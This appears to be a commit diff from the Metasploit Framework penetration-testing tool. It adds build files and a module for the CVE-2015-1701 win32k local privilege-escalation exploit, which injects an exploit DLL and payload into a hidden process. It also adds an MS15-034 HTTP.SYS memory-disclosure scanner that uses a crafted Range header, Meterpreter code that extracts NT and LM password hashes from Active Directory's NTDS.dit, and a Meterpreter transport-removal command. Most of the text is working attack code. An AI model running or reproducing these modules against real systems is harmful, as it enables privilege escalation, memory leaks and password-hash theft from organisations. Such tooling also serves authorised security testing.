<DelayLoadDLLs>%(DelayLoadDLLs)</DelayLoadDLLs>
<GenerateDebugInformation>false</GenerateDebugInformation>
<GenerateMapFile>true</GenerateMapFile>
<MapFileName>$(OutDir)\cve-2015-1701.map</MapFileName>
<SubSystem>Windows</SubSystem>
<OptimizeReferences>
</OptimizeReferences>
<EnableCOMDATFolding>
</EnableCOMDATFolding>
<RandomizedBaseAddress>false</RandomizedBaseAddress>
<DataExecutionPrevention>
</DataExecutionPrevention>
<ImportLibrary>$(OutDir)\cve-2015-1701.lib</ImportLibrary>
<Profile>false</Profile>
<ModuleDefinitionFile>
</ModuleDefinitionFile>
<AdditionalOptions>/ignore:4070</AdditionalOptions>
</Link>
<PostBuildEvent>
<Command>editbin.exe /NOLOGO /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,5.01 "$(TargetDir)$(TargetFileName)" &gt; NUL
IF EXIST "..\..\..\..\..\data\exploits\CVE-2015-1701\" GOTO COPY
mkdir "..\..\..\..\..\data\exploits\CVE-2015-1701\"
:COPY
copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\exploits\CVE-2015-1701\"</Command>
</PostBuildEvent>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="cve-2015-1701.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="cve-2015-1701.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
</ImportGroup>
</Project>

View File

@ -0,0 +1,18 @@
<?xml version="1.0" standalone="yes"?>
<Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<SolutionPath>.\cve-2015-1701.sln</SolutionPath>
</PropertyGroup>
<Target Name="all" DependsOnTargets="x86;x64" />
<Target Name="x86">
<Message Text="Building CVE-2015-1701 client_copy_image x86 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=Win32" Targets="Clean;Rebuild"/>
</Target>
<Target Name="x64">
<Message Text="Building CVE-2015-1701 client_copy_image x64 Release version" />
<MSBuild Projects="$(SolutionPath)" Properties="Configuration=Release;Platform=x64" Targets="Clean;Rebuild"/>
</Target>
</Project>

View File

@ -54,6 +54,13 @@ IF "%ERRORLEVEL%"=="0" (
POPD POPD
) )
IF "%ERRORLEVEL%"=="0" (
ECHO "Building CVE-2015-1701 (copy_client_image)"
PUSHD CVE-2015-1701
msbuild.exe make.msbuild /target:%PLAT%
POPD
)
IF "%ERRORLEVEL%"=="0" ( IF "%ERRORLEVEL%"=="0" (
ECHO "Building CVE-2013-1300 (schlamperei)" ECHO "Building CVE-2013-1300 (schlamperei)"
PUSHD CVE-2013-1300 PUSHD CVE-2013-1300

View File

@ -0,0 +1,165 @@
module Metasploit
module Framework
module NTDS
# This class represents an NTDS account structure as sent back by Meterpreter's
# priv extension.
class Account
# Size of an NTDS Account Struct on the Wire
ACCOUNT_SIZE = 3016
# Size of a Date or Time Format String on the Wire
DATE_TIME_STRING_SIZE = 30
# Size of the AccountDescription Field
DESCRIPTION_SIZE =1024
# Size of a Hash History Record
HASH_HISTORY_SIZE = 792
# Size of a Hash String
HASH_SIZE = 33
# Size of the samAccountName field
NAME_SIZE = 128
#@return [String] The AD Account Description
attr_accessor :description
#@return [Boolean] If the AD account is disabled
attr_accessor :disabled
#@return [Boolean] If the AD account password is expired
attr_accessor :expired
#@return [String] Human Readable Date for the account's password expiration
attr_accessor :expiry_date
#@return [String] The LM Hash of the current password
attr_accessor :lm_hash
#@return [Array<String>] The LM hashes for previous passwords, up to 24
attr_accessor :lm_history
#@return [Fixnum] The count of historical LM hashes
attr_accessor :lm_history_count
#@return [Boolean] If the AD account is locked
attr_accessor :locked
#@return [Fixnum] The number of times this account has logged in
attr_accessor :logon_count
#@return [String] Human Readable Date for the last time the account logged in
attr_accessor :logon_date
#@return [String] Human Readable Time for the last time the account logged in
attr_accessor :logon_time
#@return [String] The samAccountName of the account
attr_accessor :name
#@return [Boolean] If the AD account password does not expire
attr_accessor :no_expire
#@return [Boolean] If the AD account does not require a password
attr_accessor :no_pass
#@return [String] The NT Hash of the current password
attr_accessor :nt_hash
#@return [Array<String>] The NT hashes for previous passwords, up to 24
attr_accessor :nt_history
#@return [Fixnum] The count of historical NT hashes
attr_accessor :nt_history_count
#@return [String] Human Readable Date for the last password change
attr_accessor :pass_date
#@return [String] Human Readable Time for the last password change
attr_accessor :pass_time
#@return [Fixnum] The Relative ID of the account
attr_accessor :rid
#@return [String] Byte String for the Account's SID
attr_accessor :sid
# @param raw_data [String] the raw 3948 byte string from the wire
# @raise [ArgumentErrror] if a 3948 byte string is not supplied
def initialize(raw_data)
raise ArgumentError, "No Data Supplied" unless raw_data.present?
raise ArgumentError, "Invalid Data" unless raw_data.length == ACCOUNT_SIZE
data = raw_data.dup
@name = get_string(data,NAME_SIZE)
@description = get_string(data,DESCRIPTION_SIZE)
@rid = get_int(data)
@disabled = get_boolean(data)
@locked = get_boolean(data)
@no_pass = get_boolean(data)
@no_expire = get_boolean(data)
@expired = get_boolean(data)
@logon_count = get_int(data)
@nt_history_count = get_int(data)
@lm_history_count = get_int(data)
@expiry_date = get_string(data,DATE_TIME_STRING_SIZE)
@logon_date = get_string(data,DATE_TIME_STRING_SIZE)
@logon_time = get_string(data,DATE_TIME_STRING_SIZE)
@pass_date = get_string(data,DATE_TIME_STRING_SIZE)
@pass_time = get_string(data,DATE_TIME_STRING_SIZE)
@lm_hash = get_string(data,HASH_SIZE)
@nt_hash = get_string(data,HASH_SIZE)
@lm_history = get_hash_history(data)
@nt_history = get_hash_history(data)
@sid = data
end
# @return [String] String representation of the account data
def to_s
<<-EOS.strip_heredoc
#{@name} (#{@description})
#{@name}:#{@rid}:#{ntlm_hash}
Password Expires: #{@expiry_date}
Last Password Change: #{@pass_time} #{@pass_date}
Last Logon: #{@logon_time} #{@logon_date}
Logon Count: #{@logon_count}
#{uac_string}
Hash History:
#{hash_history}
EOS
end
# @return [String] the NTLM hash string for the current password
def ntlm_hash
"#{@lm_hash}:#{@nt_hash}"
end
# @return [String] Each historical NTLM Hash on a new line
def hash_history
history_string = ''
@lm_history.each_with_index do | lm_hash, index|
history_string << "#{@name}:#{@rid}:#{lm_hash}:#{@nt_history[index]}\n"
end
history_string
end
private
def get_boolean(data)
get_int(data) == 1
end
def get_hash_history(data)
raw_history = data.slice!(0,HASH_HISTORY_SIZE)
split_history = raw_history.scan(/.{1,33}/)
split_history.map!{ |hash| hash.gsub(/\x00/,'')}
split_history.reject!{ |hash| hash.blank? }
end
def get_int(data)
data.slice!(0,4).unpack('L').first
end
def get_string(data,length)
data.slice!(0,length).gsub(/\x00/,'')
end
def uac_string
status_string = ''
if @disabled
status_string << " - Account Disabled\n"
end
if @expired
status_string << " - Password Expired\n"
end
if @locked
status_string << " - Account Locked Out\n"
end
if @no_expire
status_string << " - Password Never Expires\n"
end
if @no_pass
status_string << " - No Password Required\n"
end
status_string
end
end
end
end
end

View File

@ -0,0 +1,70 @@
module Metasploit
module Framework
module NTDS
require 'metasploit/framework/ntds/account'
# This class respresent an NTDS parser. It interacts with the Meterpreter Client
# to provide a simple interface for enumerating AD user accounts.
class Parser
# The size, in Bytes, of a batch of NTDS accounts
BATCH_SIZE = (Metasploit::Framework::NTDS::Account::ACCOUNT_SIZE * 20)
#@return [Rex::Post::Meterpreter::Channels::Pool] The Meterpreter NTDS Parser Channel
attr_accessor :channel
#@return [Msf::Session] The Meterpreter Client
attr_accessor :client
#@return [String] The path to the NTDS.dit file on the remote system
attr_accessor :file_path
def initialize(client, file_path='')
raise ArgumentError, "Invalid Filepath" unless file_path.present?
@file_path = file_path
@channel = client.extapi.ntds.parse(file_path)
@client = client
end
# Yields a [Metasploit::Framework::NTDS::Account] for each account found
# in the remote NTDS.dit file.
#
# @yield [account]
# @yieldparam account [Metasploit::Framework::NTDS::Account] an AD user account
# @yieldreturn [void] does not return a value
def each_account
raw_batch_data = pull_batch
until raw_batch_data.nil?
batch = raw_batch_data.dup
while batch.present?
raw_data = batch.slice!(0,Metasploit::Framework::NTDS::Account::ACCOUNT_SIZE)
# Make sure our data isn't all Null-bytes
if raw_data.match(/[^\x00]/)
account = Metasploit::Framework::NTDS::Account.new(raw_data)
yield account
end
end
raw_batch_data = pull_batch
end
channel.close
end
private
def pull_batch
if channel.cid.nil?
reopen_channel
end
begin
raw_batch_data = channel.read(BATCH_SIZE)
rescue EOFError
raw_batch_data = nil
end
raw_batch_data
end
def reopen_channel
@channel = client.extapi.ntds.parse(file_path)
end
end
end
end
end

View File

@ -182,6 +182,25 @@ module ShadowCopy
return false return false
end end
end end
unless start_swprv
return false
end
return true
end
def start_swprv
vss_state = wmic_query('Service where(name="swprv") get state')
if vss_state=~ /Running/
print_status("Software Shadow Copy service is running.")
else
print_status("Software Shadow Copy service not running. Starting it now...")
if service_restart("swprv", START_TYPE_MANUAL)
print_good("Software Shadow Copy started successfully.")
else
print_error("Insufficient Privs to start service!")
return false
end
end
return true return true
end end

View File

@ -16,8 +16,6 @@ class JSONHashFile
@lock = Mutex.new @lock = Mutex.new
@hash = {} @hash = {}
@last = 0 @last = 0
::FileUtils.mkdir_p(::File.dirname(path))
synced_update
end end
def [](k) def [](k)
@ -53,6 +51,7 @@ private
# Save the file, but prevent thread & process contention # Save the file, but prevent thread & process contention
def synced_update(&block) def synced_update(&block)
@lock.synchronize do @lock.synchronize do
::FileUtils.mkdir_p(::File.dirname(path))
::File.open(path, ::File::RDWR|::File::CREAT) do |fd| ::File.open(path, ::File::RDWR|::File::CREAT) do |fd|
fd.flock(::File::LOCK_EX) fd.flock(::File::LOCK_EX)
@ -81,7 +80,6 @@ private
end end
end end
def parse_data(data) def parse_data(data)
return {} if data.to_s.strip.length == 0 return {} if data.to_s.strip.length == 0
begin begin

View File

@ -325,6 +325,16 @@ class ClientCore < Extension
return Rex::Text.md5(mid) return Rex::Text.md5(mid)
end end
def transport_remove(opts={})
request = transport_prepare_request('core_transport_remove', opts)
return false unless request
client.send_request(request)
return true
end
def transport_add(opts={}) def transport_add(opts={})
request = transport_prepare_request('core_transport_add', opts) request = transport_prepare_request('core_transport_add', opts)
@ -648,8 +658,14 @@ class ClientCore < Extension
# do more magic work for http(s) payloads # do more magic work for http(s) payloads
unless opts[:transport].ends_with?('tcp') unless opts[:transport].ends_with?('tcp')
sum = uri_checksum_lookup(:connect) if opts[:uri]
url << generate_uri_uuid(sum, opts[:uuid]) + '/' url << '/' unless opts[:uri].start_with?('/')
url << opts[:uri]
url << '/' unless opts[:uri].end_with?('/')
else
sum = uri_checksum_lookup(:connect)
url << generate_uri_uuid(sum, opts[:uuid]) + '/'
end
# TODO: randomise if not specified? # TODO: randomise if not specified?
opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)' opts[:ua] ||= 'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)'

View File

@ -5,6 +5,7 @@ require 'rex/post/meterpreter/extensions/extapi/window/window'
require 'rex/post/meterpreter/extensions/extapi/service/service' require 'rex/post/meterpreter/extensions/extapi/service/service'
require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard' require 'rex/post/meterpreter/extensions/extapi/clipboard/clipboard'
require 'rex/post/meterpreter/extensions/extapi/adsi/adsi' require 'rex/post/meterpreter/extensions/extapi/adsi/adsi'
require 'rex/post/meterpreter/extensions/extapi/ntds/ntds'
require 'rex/post/meterpreter/extensions/extapi/wmi/wmi' require 'rex/post/meterpreter/extensions/extapi/wmi/wmi'
module Rex module Rex
@ -34,6 +35,7 @@ class Extapi < Extension
'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client), 'service' => Rex::Post::Meterpreter::Extensions::Extapi::Service::Service.new(client),
'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client), 'clipboard' => Rex::Post::Meterpreter::Extensions::Extapi::Clipboard::Clipboard.new(client),
'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client), 'adsi' => Rex::Post::Meterpreter::Extensions::Extapi::Adsi::Adsi.new(client),
'ntds' => Rex::Post::Meterpreter::Extensions::Extapi::Ntds::Ntds.new(client),
'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client) 'wmi' => Rex::Post::Meterpreter::Extensions::Extapi::Wmi::Wmi.new(client)
}) })
}, },

View File

@ -0,0 +1,39 @@
# -*- coding: binary -*-
module Rex
module Post
module Meterpreter
module Extensions
module Extapi
module Ntds
###
#
# This meterpreter extension contains extended API functions for
# parsing the NT Directory Service database.
#
###
class Ntds
def initialize(client)
@client = client
end
def parse(filepath)
request = Packet.create_request('extapi_ntds_parse')
request.add_tlv( TLV_TYPE_NTDS_PATH, filepath)
# wait up to 90 seconds for a response
response = client.send_request(request, 90)
channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
if channel_id.nil?
raise Exception, "We did not get a channel back!"
end
Rex::Post::Meterpreter::Channels::Pool.new(client, channel_id, "extapi_ntds", CHANNEL_FLAG_SYNCHRONOUS)
end
attr_accessor :client
end
end; end; end; end; end; end

View File

@ -72,6 +72,9 @@ TLV_TYPE_EXT_ADSI_PATH_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_E
TLV_TYPE_EXT_ADSI_PATH_TYPE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 69) TLV_TYPE_EXT_ADSI_PATH_TYPE = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 69)
TLV_TYPE_EXT_ADSI_DN = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 70) TLV_TYPE_EXT_ADSI_DN = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 70)
TLV_TYPE_NTDS_TEST = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 80)
TLV_TYPE_NTDS_PATH = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 81)
TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90) TLV_TYPE_EXT_WMI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 90)
TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91) TLV_TYPE_EXT_WMI_QUERY = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 91)
TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92) TLV_TYPE_EXT_WMI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 92)

View File

@ -543,12 +543,13 @@ class Console::CommandDispatcher::Core
'-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ], '-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ],
'-l' => [ true, 'LHOST parameter (for reverse transports)' ], '-l' => [ true, 'LHOST parameter (for reverse transports)' ],
'-p' => [ true, 'LPORT parameter' ], '-p' => [ true, 'LPORT parameter' ],
'-ua' => [ true, 'User agent for http(s) transports (optional)' ], '-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ],
'-ph' => [ true, 'Proxy host for http(s) transports (optional)' ], '-ua' => [ true, 'User agent for HTTP/S transports (optional)' ],
'-pp' => [ true, 'Proxy port for http(s) transports (optional)' ], '-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ],
'-pu' => [ true, 'Proxy username for http(s) transports (optional)' ], '-pp' => [ true, 'Proxy port for HTTP/S transports (optional)' ],
'-ps' => [ true, 'Proxy password for http(s) transports (optional)' ], '-pu' => [ true, 'Proxy username for HTTP/S transports (optional)' ],
'-pt' => [ true, 'Proxy type for http(s) transports (optional: http, socks; default: http)' ], '-ps' => [ true, 'Proxy password for HTTP/S transports (optional)' ],
'-pt' => [ true, 'Proxy type for HTTP/S transports (optional: http, socks; default: http)' ],
'-c' => [ true, 'SSL certificate path for https transport verification (optional)' ], '-c' => [ true, 'SSL certificate path for https transport verification (optional)' ],
'-to' => [ true, 'Comms timeout (seconds) (default: same as current session)' ], '-to' => [ true, 'Comms timeout (seconds) (default: same as current session)' ],
'-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ], '-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ],
@ -561,13 +562,14 @@ class Console::CommandDispatcher::Core
# Display help for transport management. # Display help for transport management.
# #
def cmd_transport_help def cmd_transport_help
print_line('Usage: transport <list|change|add|next|prev> [options]') print_line('Usage: transport <list|change|add|next|prev|remove> [options]')
print_line print_line
print_line(' list: list the currently active transports.') print_line(' list: list the currently active transports.')
print_line(' add: add a new transport to the transport list.') print_line(' add: add a new transport to the transport list.')
print_line(' change: same as add, but changes directly to the added entry.') print_line(' change: same as add, but changes directly to the added entry.')
print_line(' next: jump to the next transport in the list (no options).') print_line(' next: jump to the next transport in the list (no options).')
print_line(' prev: jump to the previous transport in the list (no options).') print_line(' prev: jump to the previous transport in the list (no options).')
print_line(' remove: remove an existing, non-active transport.')
print_line(@@transport_opts.usage) print_line(@@transport_opts.usage)
end end
@ -581,7 +583,7 @@ class Console::CommandDispatcher::Core
end end
command = args.shift command = args.shift
unless ['list', 'add', 'change', 'prev', 'next'].include?(command) unless ['list', 'add', 'change', 'prev', 'next', 'remove'].include?(command)
cmd_transport_help cmd_transport_help
return return
end end
@ -591,6 +593,7 @@ class Console::CommandDispatcher::Core
:transport => nil, :transport => nil,
:lhost => nil, :lhost => nil,
:lport => nil, :lport => nil,
:uri => nil,
:ua => nil, :ua => nil,
:proxy_host => nil, :proxy_host => nil,
:proxy_port => nil, :proxy_port => nil,
@ -610,6 +613,8 @@ class Console::CommandDispatcher::Core
case opt case opt
when '-c' when '-c'
opts[:cert] = val opts[:cert] = val
when '-u'
opts[:uri] = val
when '-ph' when '-ph'
opts[:proxy_host] = val opts[:proxy_host] = val
when '-pp' when '-pp'
@ -733,6 +738,18 @@ class Console::CommandDispatcher::Core
else else
print_error("Failed to add transport, please check the parameters") print_error("Failed to add transport, please check the parameters")
end end
when 'remove'
if opts[:transport] && !opts[:transport].end_with?('_tcp') && opts[:uri].nil?
print_error("HTTP/S transport specified without session URI")
return
end
print_status("Removing transport ...")
if client.core.transport_remove(opts)
print_good("Successfully removed #{opts[:transport]} transport.")
else
print_error("Failed to remove transport, please check the parameters")
end
end end
end end

View File

@ -61,8 +61,8 @@ Gem::Specification.new do |spec|
# Things that would normally be part of the database model, but which # Things that would normally be part of the database model, but which
# are needed when there's no database # are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '~> 1.0' spec.add_runtime_dependency 'metasploit-model', '~> 1.0'
# Needed for Meterpreter on Windows, soon others. # Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.0.2' spec.add_runtime_dependency 'metasploit-payloads', '1.0.3'
# Needed by msfgui and other rpc components # Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack' spec.add_runtime_dependency 'msgpack'
# Needed by anemone crawler # Needed by anemone crawler

View File

@ -0,0 +1,223 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/http'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure',
'Description' => %q{
Dumps memory contents using a crafted Range header. Affects only
Windows 8.1, Server 2012, and Server 2012R2. Note that if the target
is running in VMware Workstation, this module has a high likelihood
of resulting in BSOD; however, VMware ESX and non-virtualized hosts
seem stable. Using a larger target file should result in more memory
being dumped, and SSL seems to produce more data as well.
},
'Author' =>
[
'Rich Whitcroft <rwhitcroft[at]gmail.com>', # Msf module
'sinn3r' # Some more Metasploit stuff
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-1635'],
['MSB', 'MS15-034'],
['URL', 'http://pastebin.com/ypURDPc4'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'],
['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'],
['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/'],
['URL', 'http://securitysift.com/an-analysis-of-ms15-034/']
]
))
register_options([
OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']),
OptBool.new('SUPPRESS_REQUEST', [ true, 'Suppress output of the requested resource', true ])
], self.class)
deregister_options('VHOST')
end
def target_uri
@target_uri ||= super
end
def potential_static_files_uris
uri = normalize_uri(target_uri.path)
return [uri] unless uri[-1, 1] == '/'
uris = ["#{uri}iisstart.htm", "#{uri}iis-85.png", "#{uri}welcome.png"]
res = send_request_raw('uri' => uri)
return uris unless res
site_uri = URI.parse(full_uri)
page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace))
page.xpath('//link|//script|//style|//img').each do |tag|
%w(href src).each do |attribute|
attr_value = tag[attribute]
next unless attr_value && !attr_value.empty?
uri = site_uri.merge(URI.encode(attr_value.strip))
next unless uri.host == vhost || uri.host == rhost
uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file
end
end
uris.uniq
end
def check_host(ip)
upper_range = 0xFFFFFFFFFFFFFFFF
potential_static_files_uris.each do |potential_uri|
uri = normalize_uri(potential_uri)
res = send_request_raw(
'uri' => uri,
'method' => 'GET',
'headers' => {
'Range' => "bytes=0-#{upper_range}"
}
)
vmessage = "#{peer} - Checking #{uri} [#{res.code}]"
if res && res.body.include?('Requested Range Not Satisfiable')
vprint_status("#{vmessage} - Vulnerable")
# Save the file that we want to use for the information leak
target_uri.path = uri
return Exploit::CheckCode::Vulnerable
elsif res && res.body.include?('The request has an invalid header name')
return Exploit::CheckCode::Safe
end
end
Exploit::CheckCode::Unknown
end
def dump(data)
# clear out the returned resource
if datastore['SUPPRESS_REQUEST']
dump_start = data.index('HTTP/1.1 200 OK')
if dump_start
data[0..dump_start-1] = ''
else
print_error("Memory dump start position not found, dumping all data instead")
end
end
print_line
print_good("Memory contents:")
print_line(Rex::Text.to_hex_dump(data))
end
# Needed to allow the vulnerable uri to be shared between the #check and #dos
def target_uri
@target_uri ||= super
end
def get_file_size
@file_size ||= lambda {
file_size = -1
uri = normalize_uri(target_uri.path)
res = send_request_raw('uri' => uri)
unless res
vprint_error("#{peer} - Connection timed out")
return file_size
end
if res.code == 404
vprint_error("#{peer} - You got a 404. URI must be a valid resource.")
return file_size
end
file_size = res.headers['Content-Length'].to_i
vprint_status("#{peer} - File length: #{file_size} bytes")
return file_size
}.call
end
def calc_ranges(content_length)
ranges = "bytes=3-18446744073709551615"
range_step = 100
for range_start in (1..content_length).step(range_step) do
range_end = range_start + range_step - 1
range_end = content_length if range_end > content_length
ranges << ",#{range_start}-#{range_end}"
end
ranges
end
def run_host(ip)
begin
unless check_host(ip)
print_error("Target is not vulnerable")
return
else
print_good("Target may be vulnerable...")
end
content_length = get_file_size
ranges = calc_ranges(content_length)
uri = normalize_uri(target_uri.path)
cli = Rex::Proto::Http::Client.new(
ip,
rport,
{},
datastore['SSL'],
datastore['SSLVersion'],
nil,
datastore['USERNAME'],
datastore['PASSWORD']
)
cli.connect
req = cli.request_raw(
'uri' => target_uri.path,
'method' => 'GET',
'headers' => {
'Range' => ranges
}
)
cli.send_request(req)
print_good("Stand by...")
resp = cli.read_response
if resp
dump(resp.to_s)
loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump')
print_status("Memory dump saved to #{loot_path}")
else
print_error("Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Unable to connect")
return
rescue ::Timeout::Error, ::Errno::EPIPE
print_error("Timeout receiving from socket")
return
ensure
cli.close if cli
end
end
end

View File

@ -0,0 +1,137 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::ReflectiveDLLInjection
def initialize(info={})
super(update_info(info, {
'Name' => 'Windows ClientCopyImage Win32k Exploit',
'Description' => %q{
This module exploits improper object handling in the win32k.sys kernel mode driver.
This module has been tested on vulnerable builds of Windows 7 x64 and x86, and
Windows 2008 R2 SP1 x64.
},
'License' => MSF_LICENSE,
'Author' => [
'Unknown', # vulnerability discovery and exploit in the wild
'hfirefox', # Code released on github
'OJ Reeves' # msf module
],
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
},
'Targets' => [
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'Payload' => {
'Space' => 4096,
'DisableNops' => true
},
'References' => [
['CVE', '2015-1701'],
['MSB', 'MS15-051'],
['URL', 'https://www.fireeye.com/blog/threat-research/2015/04/probable_apt28_useo.html'],
['URL', 'https://github.com/hfiref0x/CVE-2015-1701'],
['URL', 'https://technet.microsoft.com/library/security/MS15-051']
],
'DisclosureDate' => 'May 12 2015',
'DefaultTarget' => 0
}))
end
def check
# Windows Server 2008 Enterprise SP2 (32-bit) 6.0.6002.18005 (Does not work)
# Winodws 7 SP1 (64-bit) 6.1.7601.17514 (Works)
# Windows 7 SP1 (32-bit) 6.1.7601.17514 (Works)
# Windows Server 2008 R2 (64-bit) SP1 6.1.7601.17514 (Works)
if sysinfo['OS'] !~ /windows/i
return Exploit::CheckCode::Unknown
end
if sysinfo['Architecture'] =~ /(wow|x)64/i
arch = ARCH_X86_64
elsif sysinfo['Architecture'] =~ /x86/i
arch = ARCH_X86
end
file_path = expand_path('%windir%') << '\\system32\\win32k.sys'
major, minor, build, revision, branch = file_version(file_path)
vprint_status("win32k.sys file version: #{major}.#{minor}.#{build}.#{revision} branch: #{branch}")
return Exploit::CheckCode::Safe if build == 7601
return Exploit::CheckCode::Detected
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
if check == Exploit::CheckCode::Safe || check == Exploit::CheckCode::Unknown
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if sysinfo['Architecture'] =~ /wow64/i
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported')
elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
elsif sysinfo['Architecture'] =~ /x86/ && target.arch.first == ARCH_X86_64
fail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64')
end
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_status('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
if target.arch.first == ARCH_X86
dll_file_name = 'cve-2015-1701.x86.dll'
else
dll_file_name = 'cve-2015-1701.x64.dll'
end
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1701', dll_file_name)
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module Metasploit4 module Metasploit4
CachedSize = 1102898 CachedSize = 1104434
include Msf::Payload::TransportConfig include Msf::Payload::TransportConfig
include Msf::Payload::Windows include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module Metasploit4 module Metasploit4
CachedSize = 1103942 CachedSize = 1105478
include Msf::Payload::TransportConfig include Msf::Payload::TransportConfig
include Msf::Payload::Windows include Msf::Payload::Windows

View File

@ -13,7 +13,7 @@ require 'rex/payloads/meterpreter/config'
module Metasploit4 module Metasploit4
CachedSize = 1103942 CachedSize = 1105478
include Msf::Payload::TransportConfig include Msf::Payload::TransportConfig
include Msf::Payload::Windows include Msf::Payload::Windows

View File

